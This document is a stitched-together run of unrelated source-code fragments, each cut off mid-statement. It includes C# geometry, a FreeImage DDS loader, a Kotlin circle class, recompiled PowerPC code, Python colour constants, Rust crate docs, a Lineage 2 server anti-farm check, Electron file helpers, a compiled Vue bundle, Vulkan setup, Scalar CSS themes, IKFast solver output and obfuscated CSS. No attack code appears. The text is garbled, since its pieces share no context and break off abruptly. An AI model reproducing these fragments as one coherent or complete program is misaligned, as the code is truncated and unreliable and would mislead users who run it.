            float maxY = Math.Max(0, diagVec.y);

            Vector2 bl = from + VectorFromDiagonal(new Vector2(minX, minY));
            Vector2 tr = from + VectorFromDiagonal(new Vector2(maxX, maxY));
            Vector2 br = from + VectorFromDiagonal(new Vector2(maxX, minY));
            Vector2 tl = from + VectorFromDiagonal(new Vector2(minX, maxY));

            bool flatInX = (dir % 2) == (isLong ? 1


<class DECODER> void DecodeDXTBlock (BYTE *dstData, const BYTE *srcBlock, long dstPitch, int bw, int bh) {
	DECODER decoder;
	decoder.Setup(srcBlock);
	for (int y = 0; y < bh; y++) {
		BYTE *dst = dstData - y * dstPitch;
		// update scanline
		decoder.SetY(y);
		for (int x = 0; x < bw; x++) {
			// GetColor(x, y, dst)
			Color8888 *color = (Color8888*)dst;
			decoder.GetColor(x, color);

#if FREEIMAGE_COLORORDER == FREEIMAGE_COLORORDER_RGB
			INPLACESWAP(dst[FI_RGBA_RED], dst[FI_RGBA_BLUE]);
#endif
			dst += 4;
		}
	}
}

// ==========================================================
// Plugin Interface
// ==========================================================

static int s_format_id;

// ==========================================================
// Internal functions
// ==========================================================

/**
@param desc DDS_HEADER structure
@param io FreeImage IO
@param handle FreeImage handle
*/
static FIBITMAP *
LoadRGB(const DDSURFACEDESC2 *desc, FreeImageIO *io, fi_handle handle) {
	FIBITMAP *dib = NULL;
	DDSFormat16 format16 = RGB_UNKNOWN;	// for 16-bit formats

	const DDPIXELFORMAT *ddspf = &(desc->ddspf);

	// it is perfectly valid for an uncompressed DDS file to have a width or height which is not a multiple of 4
	// (only the packed image formats need to be a multiple of 4)
	const int width = (int)desc->dwWidth;
	const int height = (int)desc->dwHeight;

	// check the bitdepth, then allocate a new dib
	const int bpp = (int)ddspf->dwRGBBitCount;
	if (bpp == 16) {
		// get the 16-bit format
		format16 = GetRGB16Format(ddspf->dwRBitMask, ddspf->dwGBitMask, ddspf->dwBBitMask);
		// allocate a 24-bit dib, conversion from 16- to 24-bit will be done later
		dib = FreeImage_Allocate(width, height, 24);
	}
	else {
		dib = FreeImage_Allocate(width, height, bpp, ddspf->dwRBitMask, ddspf->dwGBitMask, ddspf->dwBBitMask);
	}
	if (dib == NULL) {
		return NULL;
	}

	// read the file
	// -------------------------------------------------------------------------

	const int line = CalculateLine(width, bpp);
	const int filePitch = ((desc->dwFlags & DDSD_PITCH) == DDSD_PITCH) ? (int)desc->dwPitchOrLinearSize : line;
	const long delta = (long)filePitch - (long)line;

	if (bpp == 16) {
		BYTE *pixels = (BYTE*)malloc(line * sizeof(BYTE));
		if (pixels) {
			for (int y = 0; y < height; y++) {
				BYTE *dst_bits = FreeImage_GetScanLine(dib, height - y - 1);
				// get the 16-bit RGB pixels
				io->read_proc(pixels, 1, line, handle);
				io->seek_proc(handle, delta, SEEK_CUR);
				// convert to 24-bit
				ConvertLine16To24(dst_bits, (


Points(a, b, c)
    }

    fun contains(x: Float, y: Float): Boolean {
        val dx = x - this.x
        val dy = y - this.y
        return dx * dx + dy * dy <= radius * radius
    }

    fun contains(p: Point): Boolean {
        val dx = p.x - this.x
        val dy = p.y - this.y
        return dx * dx + dy * dy <= radius * radius
    }

    fun rect() = Rect(x - radius, y - radius, x + radius, y + radius)

    fun tangentAtPoint(pointOnCircle: Point): DLine {
        // Vector from center to point
        val vx = pointOnCircle.x - x
        val vy = pointOnCircle.y - y

        // Tangent is perpendicular to radius → rotate by 90°: (-vy, vx)
        val rawDx = -vy
        val rawDy = vx

        // Normalize (optional)
        val length = sqrt(rawDx * rawDx + rawDy * rawDy)
        val dx = rawDx / length
        val dy = rawDy / length

        return DLine(pointOnCircle, Vector2(dx, dy))
    }

    fun pointOnCircle(angleRad: Angle): Point {
        val x = x + radius * cos(angleRad)
        val y = y + radius * sin(angleRad)
        return Point(x, y)
    }

    fun movePointAlongCircle(point: Point, angleRadians: Angle): Point {
        // vector from center to point
        val dx = point.x - x
        val dy = point.y - y

        // rotate vector by angle
        val cosA = cos(angleRadians)
        val sinA = sin(angleRadians)

        val rotatedX = dx * cosA - dy * sinA
        val rotatedY = dx * sinA + dy * cosA

        // translate back to absolute position
        return Point(
            x = x + rotatedX,
            y = y + rotatedY
        )
    }

    fun isInsideOf(other: Circle): Boolean {
        val distanceCenters = center.distanceTo(other.center)
        return distanceCenters + radius <= other.radius
    }

    fun isInsideOf(rect: Rect): Boolean {
        return (x - radius >= rect.left) && (x + radius <= rect.right) &&
            (y - radius >= rect.top) && (y + radius <= rect.bottom)
    }

    fun points(count: Int) = createCircleOfPoints(center, radius, count)

    fun points(count: Int, startAngle: Angle, sweepAngle: Angle): List<Point> {
        val points = mutableListOf<Point>()
        val deltaAngle = sweepAngle / count
        for (i in 0 until count) {
            val angle = startAngle + deltaAngle * i
            points.add(pointOnCircle(angle))
        }
        return points
    }

    fun toPath() = Path().addCircle(x, y, radius)

    /**
     * Scales the circle by the given factor, keeping the center point unchanged.
     */
    fun scale(value: Float) = Circle(x, y, radius * value)
}

fun Canvas.drawCircle(circle: Circle, paint: Paint) = drawCircle(circle.center.x, circle.center.y, circle.radius, paint)

fun createCircleOfPoints(center: Point, radius: Float, steps: Int): List<Point> {
    val points = mutableListOf<Point>()
    val deltaAngle = Degrees(360f / steps)
    for (i in 0 until steps) {
        val angle = deltaAngle * i
        val x = center.x + radius * cos(angle)
        val y = center.y - radius * sin(angle)
        points.add(pointOf(x, y))
    }
    return poin


,r15,0
	cr6.compare<int32_t>(r15.s32, 0, xer);
	// bge cr6,0x82d1398c
	if (!cr6.lt) goto loc_82D1398C;
	// cmplwi cr6,r6,8
	cr6.compare<uint32_t>(ctx.r6.u32, 8, xer);
	// blt cr6,0x82d1398c
	if (cr6.lt) goto loc_82D1398C;
	// cmplwi cr6,r6,24
	cr6.compare<uint32_t>(ctx.r6.u32, 24, xer);
	// beq cr6,0x82d1398c
	if (cr6.eq) goto loc_82D1398C;
	// rlwinm r10,r26,0,26,22
	ctx.r10.u64 = rotl64(r26.u32 | (r26.u64 << 32), 0) & 0xFFFFFFFFFFFFFE3F;
	// cmpw cr6,r10,r28
	cr6.compare<int32_t>(ctx.r10.s32, r28.s32, xer);
	// beq cr6,0x82d1398c
	if (cr6.eq) goto loc_82D1398C;
	// add r11,r30,r20
	r11.u64 = r30.u64 + r20.u64;
	// stw r5,56(r27)
	PPC_STORE_U32(r27.u32 + 56, ctx.r5.u32);
	// stw r11,4(r27)
	PPC_STORE_U32(r27.u32 + 4, r11.u32);
	// b 0x82d13f88
	goto loc_82D13F88;
loc_82D1398C:
	// stw r14,56(r27)
	PPC_STORE_U32(r27.u32 + 56, r14.u32);
	// mullw r3,r11,r23
	ctx.r3.s64 = int64_t(r11.s32) * int64_t(r23.s32);
	// lis r4,9345
	ctx.r4.s64 = 612433920;
	// bl 0x821f4d88
	sub_821F4D88(ctx, base);
	// mr. r22,r3
	r22.u64 = ctx.r3.u64;
	cr0.compare<int32_t>(r22.s32, 0, xer);
	// stw r22,4(r27)
	PPC_STORE_U32(r27.u32 + 4, r22.u32);
	// bne 0x82d139b4
	if (!cr0.eq) goto loc_82D139B4;
	// lis r3,-32761
	ctx.r3.s64 = -2147024896;
	// ori r3,r3,14
	ctx.r3.u64 = ctx.r3.u64 | 14;
	// b 0x82d13f8c
	goto loc_82D13F8C;
loc_82D139B4:
	// add r30,r30,r20
	r30.u64 = r30.u64 + r20.u64;
	// lwz r11,48(r27)
	r11.u64 = PPC_LOAD_U32(r27.u32 + int32_t(48) );
	// add r25,r20,r25
	r25.u64 = r20.u64 + r25.u64;
	// mr r20,r30
	r20.u64 = r30.u64;
	// cmpwi cr6,r15,0
	cr6.compare<int32_t>(r15.s32, 0, xer);
	// bge cr6,0x82d139d8
	i


CORRECT_TRAJECTORY_COLOR: tuple[int, int, int, int] = (0, 0, 255, 255)
REALTIME_ESTIMATED_TRAJECTORY_COLOR: tuple[int, int, int, int] = (0, 255, 0, 255)
REVERSE_ESTIMATED_TRAJECTORY_COLOR: tuple[int, int, int, int] = (255, 0, 0, 255)

CORRECT_CURRENT_POSITION_COLOR: tuple[int, int, int, int] = (0, 255, 255, 255)
REALTIME_ESTIMATED__CURRENT_POSITION_COLOR: tuple[int, int, int, int] = (
    255,
    255,
    0,
    255,
)
REVERSE_CURRENT_ESTIMATED_POSITION_COLOR: tuple[int, int, int, int] = (255, 0, 255, 255)

INSIDE_PARTICLE_COLOR: tuple[int, int, int, int] = (255, 255, 255, 255)
OUTSIDE_PARTICLE_COLOR: tuple[int, int, int, int] = (0, 0, 0, 255)
CANDIDATE_PARTICLES_COLOR: tuple[int, int, int, int] = (128, 128, 128, 255)

PARTICLE_OUTLINE_COLOR: tuple[int, int, int, int] = (0, 0, 0, 255)
OUTLINE_COLOR: tuple[int, int, int, int] = (0, 0, 0, 255)

PARTICLE_CLUSTER_COLORS: list[tuple[int, int, int, int]] = [
    (255, 0, 0, 255),      # 赤
    (0, 255, 0, 255),      # 緑
    (0, 0, 255, 255),      # 青
    (255, 255, 0, 255),    # 黄
    (255, 0, 255, 255),    # マゼンタ
    (0, 255, 255, 255),    # シアン
    (255, 255, 255, 255),  # 白
    (128, 0, 0, 255),      # 暗い赤
    (0, 128, 0, 255),      # 暗い緑
    (0, 0, 128, 255),      # 暗い青
    (128, 128, 0, 255),    # オリーブ
    (128, 0, 128, 255),    # 紫
    (0, 128, 128, 255),    # ティール
    (128, 128, 128, 255),  # グレー
    (192, 192, 192, 255),  # 明るいグレー
    (64, 64, 64, 255),     # 暗いグレー
    (255, 165, 0, 255),    # オレンジ
    (255, 105, 180, 255),  # ホットピンク
    (75, 0, 130, 255),     # インディゴ
    (173, 216, 230, 255),  # ライトブルー
    (240, 230, 140, 255),  # カーキ
    (154, 205, 50, 255),   # イエローグリーン
    (139, 69, 19, 255),    # 茶色
    (255, 20, 147, 255),   # ディープピンク
    (0, 191, 255, 255),    # ディープスカイブルー
    (34, 139, 34, 255),    # フォレストグリーン
    (70, 130, 180, 255),   # スチールブルー
    (210, 105, 30, 255),   # チョコレート
    (0, 255, 127, 255),    # スプリンググリーン
    (147, 112, 219, 255),  # ミディアムパープル
]


CORE: Option<&Score> = None;

impl fmt::Display for Score {
    fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
        write!(f, "Score")
    }
}
<gh_stars>10-100
//! See the [Crates.io page](https://crates.io/crates/space) for the README.

#![no_std]
doc_comment::doctest!("../README.md");

#[cfg(feature = "alloc")]
extern crate alloc;

#[cfg(feature = "alloc")]
use alloc::vec::Vec;

use num_traits::Zero;

/// This trait is implemented for metrics that form a metric space.
/// It is primarily used for keys in nearest neighbor searches.
/// When implementing this trait, it is recommended to choose the smallest unsigned integer that
/// represents your metric space, but you may also use a float so long as you wrap it in
/// a newtype that enforces the `Ord + Zero + Copy` trait bounds.
/// It is recommended to use
/// [`NoisyFloat`](https://docs.rs/noisy_float/0.2.0/noisy_float/struct.NoisyFloat.html)
/// for this purpose, as it implements the trait bound.
///
/// It is important that all metrics that implement this trait satisfy
/// the [triangle inequality](https://en.wikipedia.org/wiki/Triangle_inequality).
/// This requirement basically means that the sum of distances that start
/// at a point A and end at a point B can never be less than the distance
/// from A to B directly. Note that the metric is required to be an unsigned integer,
/// as distances can only be positive and must be fully ordered.
/// It is also required that two overlapping points (the same point in space) must return
/// a distance of [`Zero::zero`].
///
/// Floating point numbers can be converted to integer metrics by being interpreted as integers by design,
/// although some special patterns (like NaN) do not fit into this model. To be interpreted as an unsigned
/// integer, the float must be positive zero, subnormal, normal, or positive infinity. Any NaN needs
/// to be dealt with before converting into a metric, as they do NOT satisfy the triangle inequality,
/// and will lead to errors. You may want to check for positive infinity as well depending on your use case.
/// You must remove NaNs if you convert to integers, but you must also remove NaNs if you use an ordered
/// wrapper like [`NoisyFloat`](https://docs.rs/noisy_float/0.2.0/noisy_float/struct.NoisyFloat.html).
/// Be careful if you use a wrapper like
/// [`FloatOrd`](https://docs.rs/float-ord/0.3.2/float_ord/struct.FloatOrd.html) which does not
/// force you to remove NaNs. When implementing a metric, you must be sure that NaNs are not allowed, because
/// they may cause nearest neighbor algorithms to panic.
///
/// ## Example
///
/// ```
/// struct AbsDiff;
///
/// impl space::Metric<f64> for AbsDiff {
///     type Unit = u64;
///
///     fn distance(&self, &a: &f64, &b: &f64) -> Self::Unit {
///         let delta = (a - b).abs();
///         debug_assert!(!delta.is_nan());
///         delta.to_bits()
///     }
/// }
/// ```
pub trait Metric<P> {
    type Unit: Ord + Zero + Copy;

    fn distance(&self, a: &P, b: &P) -> Self::Unit;
}

/// Implement this trait on data structures (or wrappers) which perform KNN searches.
/// The data structure should maintain a key-value mapping between neighbour points and data
/// values.
///
/// The lifetime on the trait will be removed once G


.getName());
						}
						addItemReward(targetPlayer);
						return;
					}
				}
			}

			// 'No war' or 'One way war' -> 'Normal PK'
			if (!(inEventTvT && TvT.isStarted()) || !(inEventCTF && CTF.isStarted()) || !(inEventDM && DM.isStarted()))
			{
				if (targetPlayer.getKarma() > 0) // Target player has karma
				{
					if (Config.KARMA_AWARD_PK_KILL)
					{
						increasePvpKills();
					}

					if (target instanceof L2PcInstance && Config.ANNOUNCE_PVP_KILL)
					{
						Announcements.getInstance().announceToAll("Player " + getName() + " hunted Player " + target.getName());
					}
				}
				else if (targetPlayer.getPvpFlag() == 0) // Target player doesn't have karma
				{
					increasePkKillsAndKarma(targetPlayer.getLevel());
					if (target instanceof L2PcInstance && Config.ANNOUNCE_PK_KILL)
					{
						Announcements.getInstance().announceToAll("Player " + getName() + " has assassinated Player " + target.getName());
					}
				}
			}
		}
		if (target instanceof L2PcInstance && Config.ANNOUNCE_ALL_KILL)
		{
			Announcements.getInstance().announceToAll("Player " + getName() + " killed Player " + target.getName());
		}

		if (inEventDM && DM.isStarted())
		{
			return;
		}

		if (targetPlayer.getObjectId() == lastKill)
		{
			count += 1;
		}
		else
		{
			count = 1;
			lastKill = targetPlayer.getObjectId();
		}

		if (Config.REWARD_PROTECT == 0 || count <= Config.REWARD_PROTECT)
		{
			addItemReward(targetPlayer);
		}
	}

	/**
	 * Check anti farm.
	 * @param  targetPlayer the target player
	 * @return              true, if successful
	 */
	private boolean checkAntiFarm(final L2PcInstance targetPlayer)
	{

		if (Config.ANTI_FARM_ENABLED)
		{

			// Anti FARM Clan - Ally
			if (Config.ANTI_FARM_CLAN_ALLY_ENABLED && getClanId() > 0 && targetPlayer.getClanId() > 0 && getClanId() == targetPlayer.getClanId() || getAllyId() > 0 && targetPlayer.getAllyId() > 0 && getAllyId() == targetPlayer.getAllyId())
			{
				sendMessage("Farm is punishable with Ban! Gm informed.");
				LOGGER.info("PVP POINT FARM ATTEMPT, " + getName() + " and " + targetPlayer.getName() + ". CLAN or ALLY.");
				return false;
			}

			// Anti FARM level player < 40
			if (Config.ANTI_FARM_LVL_DIFF_ENABLED && targetPlayer.getLevel() < Config.ANTI_FARM_MAX_LVL_DIFF)
			{
				sendMessage("Farm is punishable with Ban! Don't kill new players! Gm informed.");
				LOGGER.info("PVP POINT FARM ATTEMPT, " + getName() + " and " + targetPlayer.getName() + ". LVL DIFF.");
				return false;
			}

			// Anti FARM pdef < 300
			if (Config.ANTI_FARM_PDEF_DIFF_ENABLED && targetPlayer.getPDef(targetPlayer) < Config.ANTI_FARM_MAX_PDEF_DIFF)
			{
				sendMessage("Farm is punishable with Ban! Gm informed.");
				LOGGER.info("PVP POINT FARM ATTEMPT, " + getName() + " and " + targetPlayer.getName() + ". MAX PDEF DIFF.");
				return false;
			}

			// Anti FARM p atk < 300
			if (Config.ANTI_FARM_PATK_DIFF_ENABLED


ion,
          details: [
            "```",
            publishLogs,
            "```",
          ].join("\n"),
        };
      },
    );
  }
}
/* eslint-disable import/prefer-default-export */
import electron from 'electron';
import Path from 'path';
import fs from 'fs';

export function getUserDataPath() {
  // Renderer process has to get `app` module via `remote`, whereas the main process can get it directly
  // app.getPath('userData') will return a string of the user's app data directory path.
  return (electron.app || electron.remote.app).getPath('userData');
}

export function saveFile(path: string, data: object | Array<any>): void {
  // Wait, I thought using the node.js' synchronous APIs was bad form?
  // We're not writing a server so there's not nearly the same IO demand on the process
  // Also if we used an async API and our app was quit before the asynchronous write had a chance to complete,
  // we might lose that data. Note that in a real app, we would try/catch this.
  fs.writeFileSync(path, JSON.stringify(data));
}

export function createFile(path: string, name: string): void {
  fs.writeFileSync(Path.join(path, name), '');
}

export function createDir(path: string, name: string): void {
  fs.mkdirSync(Path.join(path, name));
}

export function rnFile(path: string, name: string): void {
  fs.renameSync(path, Path.join(path, '../', name));
}

export function deleteFile(path: string): void {
  fs.unlinkSync(path);
}

const deleteFolderRecursive = function dfr(path: string): void {
  if (fs.existsSync(path)) {
    fs.readdirSync(path).forEach(file => {
      const curPath = Path.join(path, file);
      if (fs.lstatSync(curPath).isDirectory()) {
        // recurse
        deleteFolderRecursive(curPath);
      } else {
        // delete file
        fs.unlinkSync(curPath);
      }
    });
    fs.rmdirSync(path);
  }
};

export function deleteFolder(path: string): void {
  deleteFolderRecursive(path);
}

export type File = {
  name: string;
  path: string;
  directory?: Array<File>;
};

// eslint-disable-next-line consistent-return
export const mapDirectory = function recursiveWalk(dir: string) {
  const results: Array<File> = [];

  const files = fs.readdirSync(dir, { withFileTypes: true });
  let pending = files.length;

  if (!pending) return results;

  files.forEach(file => {
    if (file.isDirectory()) {
      const path = Path.join(dir, file.name);
      results.push({
        name: file.name,
        path,
        directory: mapDirectory(path)
      });

      pending -= 1;
      if (!pending) return results;
    } else {
      results.push({
        name: file.name,
        path: Path.join(dir, file.name)
      });
      pending -= 1;
      if (!pending) return results;
    }
  });

  return results;
};

type Config = {
  name: string;
  description: string;
  filePath: string;
};

export function generateConfig(config: Config) {
  return {
    name: config.name,
    description: config.description,
    version: '1.0.0',
    phaserVersion: '3.22.0'
  };
}

export function createProject(config: Config): boolean {
  if (!fs.existsSync(Path.join(config.filePath, '../'))) {
    fs.mkdirSync(Path.join(config.filePath, '../'));
  }

  if (fs.existsSync(config.filePath)) return false;

  // first we're gonna make our directories.
  // our project path
  fs.mkdirSync(config.filePath);
  // next we make our assets and scenes path
  fs.mkdirSync(


level || innerTreeRowData.level;\n                cur.display = !!(cur.expanded && innerTreeRowData.display);\n                if (typeof cur.lazy === 'boolean') {\n                  if (typeof cur.loaded === 'boolean' && cur.loaded) {\n                    innerTreeRowData.noLazyChildren = !(cur.children && cur.children.length);\n                  }\n                  innerTreeRowData.loading = cur.loading;\n                }\n              }\n              i++;\n              tmp.push(_this5.rowRender(node, $index + i, innerTreeRowData));\n              if (cur) {\n                var _nodes = lazyTreeNodeMap[childKey] || node[childrenColumnName];\n                traverse(_nodes, cur);\n              }\n            });\n          };\n          // 对于 root 节点，display 一定为 true\n          cur.display = true;\n          var nodes = lazyTreeNodeMap[key] || row[childrenColumnName];\n          traverse(nodes, cur);\n        }\n        return tmp;\n      } else {\n        return this.rowRender(row, $index);\n      }\n    }\n  }\n});\n// CONCATENATED MODULE: ./node_modules/vue-loader/lib/loaders/templateLoader.js??vue-loader-options!./node_modules/vue-loader/lib??vue-loader-options!./packages/table/src/filter-panel.vue?vue&type=template&id=7f2c919f&\nvar filter_panelvue_type_template_id_7f2c919f_render = function() {\n  var _vm = this\n  var _h = _vm.$createElement\n  var _c = _vm._self._c || _h\n  return _c(\"transition\", { attrs: { name: \"el-zoom-in-top\" } }, [\n    _vm.multiple\n      ? _c(\n          \"div\",\n          {\n            directives: [\n              {\n                name: \"clickoutside\",\n                rawName: \"v-clickoutside\",\n                value: _vm.handleOutsideClick,\n                expression: \"handleOutsideClick\"\n              },\n              {\n                name: \"show\",\n                rawName: \"v-show\",\n                value: _vm.showPopper,\n                expression: \"showPopper\"\n              }\n            ],\n            staticClass: \"el-table-filter\"\n          },\n          [\n            _c(\n              \"div\",\n              { staticClass: \"el-table-filter__content\" },\n              [\n                _c(\n                  \"el-scrollbar\",\n                  { attrs: { \"wrap-class\": \"el-table-filter__wrap\" } },\n                  [\n                    _c(\n                      \"el-checkbox-group\",\n                      {\n                        staticClass: \"el-table-filter__checkbox-group\",\n                        model: {\n                          value: _vm.filteredValue,\n                          callback: function($$v) {\n                            _vm.filteredValue = $$v\n                          },\n                          expression: \"filteredValue\"\n                        }\n                      },\n                      _vm._l(_vm.filters, function(filter) {\n                        return _c(\n                          \"el-checkbox\",\n                          { key: filter.value, attrs: { label: filter.value } },\n                          [_vm._v(_vm._s(filter.text))]\n                        )\n                      }),\n                      1\n                    )\n                  ],\n                  1\n                )\n              ],\n              1\n            ),\n            _c(\"div\", { staticClass: \"el-table-filter__bottom\" }, [\n              _c(\n                \"button\",\n                {\n                  class: { \"is-disabled\": _vm.filteredValue.length === 0 },\n                  attrs: { disabled: _vm.filteredValue.length === 0 },\n                  on: { click: _vm.handleConfirm }\n                },\n                [_vm._v(_vm._s(_vm.t(


 attachment_reference = vk::AttachmentReference::builder()
            .attachment(0)
            .layout(vk::ImageLayout::COLOR_ATTACHMENT_OPTIMAL)
            .build();

        let attachment_references = vec![attachment_reference];
        self.attachment_references.set(attachment_references);
    }

    fn init_subpass_descriptions(&mut self) {
        let subpass_description = vk::SubpassDescription::builder()
            .pipeline_bind_point(vk::PipelineBindPoint::GRAPHICS)
            .color_attachments(&self.attachment_references)
            .build();

        let subpass_descriptions = vec![subpass_description];
        self.subpass_descriptions.set(subpass_descriptions);
    }

    fn init_subpass_dependencies(&mut self) {
        let subpass_dependency = vk::SubpassDependency::builder()
            .src_subpass(vk::SUBPASS_EXTERNAL)
            .dst_subpass(0)
            .src_stage_mask(vk::PipelineStageFlags::COLOR_ATTACHMENT_OUTPUT)
            .src_access_mask(vk::AccessFlags::empty())
            .dst_stage_mask(vk::PipelineStageFlags::COLOR_ATTACHMENT_OUTPUT)
            .dst_access_mask(vk::AccessFlags::COLOR_ATTACHMENT_WRITE)
            .build();

        let subpass_dependencies = vec![subpass_dependency];
        self.subpass_dependencies.set(subpass_dependencies);
    }

    fn init_vk_render_pass(&mut self) -> VulkanResult<()> {
        let render_pass_create_info_builder = vk::RenderPassCreateInfo::builder()
            .attachments(&self.attachment_descriptions)
            .subpasses(&self.subpass_descriptions)
            .dependencies(&self.subpass_dependencies);

        let vk_render_pass = unsafe {
            self.logical_device.create_render_pass(&render_pass_create_info_builder, None)
                .map_err(|result| VulkanError::RenderPassCreateError {result})?
        };

        self.vk_render_pass.set(vk_render_pass);

        Ok(())
    }

    fn create_render_pass(&mut self) {
        self.render_pass.set(RenderPass {
            vk_render_pass: self.vk_render_pass.take(),
            logical_device: self.logical_device.take()
        });
    }
}
// Copyright 2020 the Tectonic Project.
// Licensed under the MIT License.

#![deny(missing_docs)]

//! Generic error handling for Tectonic.
//!
//! This crate provides a generic boxed error type, plus supporting utilities.
//! In particular:
//!
//! - The basic `Error` type is an `anyhow` 1.x boxed Error
//! - The `atry!` macro allows simple structured annotations to be added to `?`
//!   operations
//! - The `a_ok_or!` macro allows for annotations to `Option::ok_or_else` calls.

use std::{error, fmt, result::Result as StdResult};

/// The generic error type, for complex operations that can fail for a wide
/// range of reasons. This type is a reexport of the `anyhow` 1.x series Error
/// type.
///
/// There’s an appeal to not explicitly committing ourselves to using this
/// particular error implementation, but the `anyhow` error type has a
/// sufficient number of special methods and traits that it would be pretty
/// tedious to re-implement them all while pretending that we're using some
/// different type.
pub use anyhow::Error;

/// A preloaded result type where the error type is our generic error type.
pub use anyhow::Result;

/// The specific version of `anyhow` used by this crate.
pub use anyhow;

/// A simple annotated message that can be attached to errors using the
/// `anyhow::Context`


160px, var(--star-color3), rgba(0, 0, 0, 0)),\n    radial-gradient(2px 2px at 90px 40px, var(--star-color), rgba(0, 0, 0, 0)),\n    radial-gradient(2px 2px at 130px 80px, var(--star-color), rgba(0, 0, 0, 0)),\n    radial-gradient(2px 2px at 160px 120px, var(--star-color3), rgba(0, 0, 0, 0));\n  background-repeat: repeat;\n  background-size: 200px 200px;\n  width: 100%;\n  height: 100%;\n  mask-image: radial-gradient(ellipse at 100% 0%, black 40%, transparent 70%);\n}\n.section-flare {\n  top: -150px !important;\n  height: 100vh;\n  background: linear-gradient(#000, var(--scalar-background-1));\n  width: 100vw;\n  overflow-x: hidden;\n}\n.light-mode .section-flare {\n  display: none;\n}\n.light-mode .scalar-card {\n  --scalar-background-1: #fff;\n  --scalar-background-2: #fff;\n  --scalar-background-3: #fff;\n}\n\n*::selection {\n  background-color: color-mix(in srgb, var(--scalar-color-blue), transparent 60%);\n}\n\n@media (max-width: 1000px) {\n  .light-mode .t-doc__sidebar,\n  .dark-mode .t-doc__sidebar {\n    --scalar-sidebar-background-1: var(--scalar-background-1);\n  }\n  .light-mode .t-doc__header,\n  .dark-mode .t-doc__header {\n    animation: none;\n    background: var(--scalar-header-background-1);\n    backdrop-filter: blur(12px);\n  }\n}\n",slug:"blue-planet"},deepSpace:{uid:"K8b38NWQiicq4-zXGXKdI",name:"Deep Space",description:"Deep Space Scalar theme",theme:'/* basic theme */\n:root {\n  --scalar-text-decoration: underline;\n  --scalar-text-decoration-hover: underline;\n}\n.light-mode {\n  --scalar-color-1: rgb(9, 9, 11);\n  --scalar-color-2: rgb(113, 113, 122);\n  --scalar-color-3: rgba(25, 25, 28, 0.5);\n  --scalar-color-accent: var(--scalar-color-1);\n\n  --scalar-background-1: #fff;\n  --scalar-background-2: #f4f4f5;\n  --scalar-background-3: #e3e3e6;\n  --scalar-background-accent: #8ab4f81f;\n\n  --scalar-border-color: rgb(228, 228, 231);\n  --scalar-code-language-color-supersede: var(--scalar-color-1);\n}\n.dark-mode {\n  --scalar-color-1: #fafafa;\n  --scalar-color-2: rgb(161, 161, 170);\n  --scalar-color-3: rgba(255, 255, 255, 0.533);\n  --scalar-color-accent: var(--scalar-color-1);\n\n  --scalar-background-1: #09090b;\n  --scalar-background-2: #18181b;\n  --scalar-background-3: #2c2c30;\n  --scalar-background-accent: #8ab4f81f;\n\n  --scalar-border-color: rgba(255, 255, 255, 0.16);\n  --scalar-code-language-color-supersede: var(--scalar-color-1);\n}\n\n/* Document Sidebar */\n.light-mode .t-doc__sidebar,\n.dark-mode .t-doc__sidebar {\n  --scalar-sidebar-background-1: var(--scalar-background-1);\n  --scalar-sidebar-color-1: var(--scalar-color-1);\n  --scalar-sidebar-color-


eal x15843=(r02*sj4);
IkReal x15844=(cj5*r01);
IkReal x15845=((1.0)*sj3);
IkReal x15846=(r12*sj4);
IkReal x15847=((1.0)*cj3);
IkReal x15848=(r00*sj5);
IkReal x15849=(r11*sj5);
IkReal x15850=(r10*sj5);
IkReal x15851=(cj5*r11);
IkReal x15852=((1.0)*cj2);
IkReal x15853=((0.5723)*sj2);
IkReal x15854=((1.0)*cj4);
IkReal x15855=((0.5723)*cj2);
IkReal x15856=(cj4*cj5*r00);
IkReal x15857=((1.0)*cj1*sj2);
IkReal x15858=(cj4*cj5*r10);
IkReal x15859=(cj4*r01*sj5);
IkReal x15860=(sj1*x15841);
IkReal x15861=(cj1*x15842);
IkReal x15862=((1.0)*cj5*sj4);
IkReal x15863=(cj1*x15841);
IkReal x15864=(sj1*x15842);
evalcond[0]=((((-1.0)*r12*x15854))+((sj4*x15849))+(((-1.0)*r10*x15862))+x15841);
evalcond[1]=((((-1.0)*r02*x15854))+(((-1.0)*r00*x15862))+((r01*sj4*sj5))+(((-1.0)*x15842)));
evalcond[2]=((((-1.0)*px))+((x15855*x15863))+(((-1.0)*x15853*x15860))+(((-0.1157)*x15844))+(((-0.1157)*x15848))+(((-0.16394)*x15842))+(((0.612)*x15863)));
evalcond[3]=((((0.16394)*x15841))+(((-1.0)*py))+((x15855*x15861))+(((-0.1157)*x15851))+(((-0.1157)*x15850))+(((-1.0)*x15853*x15864))+(((0.612)*x15861)));
evalcond[4]=(((cj3*x15859))+((sj2*x15860))+((cj3*x15843))+(((-1.0)*x15847*x15856))+(((-1.0)*x15852*x15863))+((sj3*x15848))+((sj3*x15844)));
evalcond[5]=(((sj2*x15864))+((cj3*x15846))+(((-1.0)*x15847*x15858))+((sj3*x15850))+((sj3*x15851))+(((-1.0)*x15852*x15861))+((cj3*cj4*x15849)));
evalcond[6]=((((-1.0)*x15841*x15857))+((cj3*x15848))+((cj3*x15844))+((sj3*x15856))+(((-1.0)*x15852*x15860))+(((-1.0)*x15843*x15845))+(((-1.0)*x15845*x15859)));
evalcond[7]=(((cj3*x15850))+((cj3*x15851))+(((-1.0)*x15842*x15857))+(((-1.0)*x15845*x15846))+((sj3*x15858))+(((-1.0)*cj4*x15845*x15849))+(((-1.0)*x15852*x15864)));
if( IKabs(evalcond[0]) > IKFAST_EVALCOND_THRESH  || IK


    }

    .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1arc.q102mm3ls4kbzmf1arz rx6a8zd9dx3ixsqz {
        margin: 0;
    }

        .q102mm3ls4kbzmf1ars,
    .q102mm3ls4kbzmf1art { margin: 0 auto; }

        .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1arb rx6a8zd9dx3ixsqz { margin: 5px auto 0; }

    .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1arz rx6a8zd9dx3ixsqz,
    .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1arz iframe { margin: 5px auto 0; }
    .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1arz {
        text-align: center;
    }

    .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1arq {
        float: right;
        margin-top: 40px;
        width: 50%;
    }

    .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1arq rx6a8zd9dx3ixsqz {
        margin: 5px auto 0;
        text-align: center;
        width: 315px;
        z-index: 0;
    }

    .q102mm3ls4kbzmf1arw.q102mm3ls4kbzmf1ara { width: 40%; }
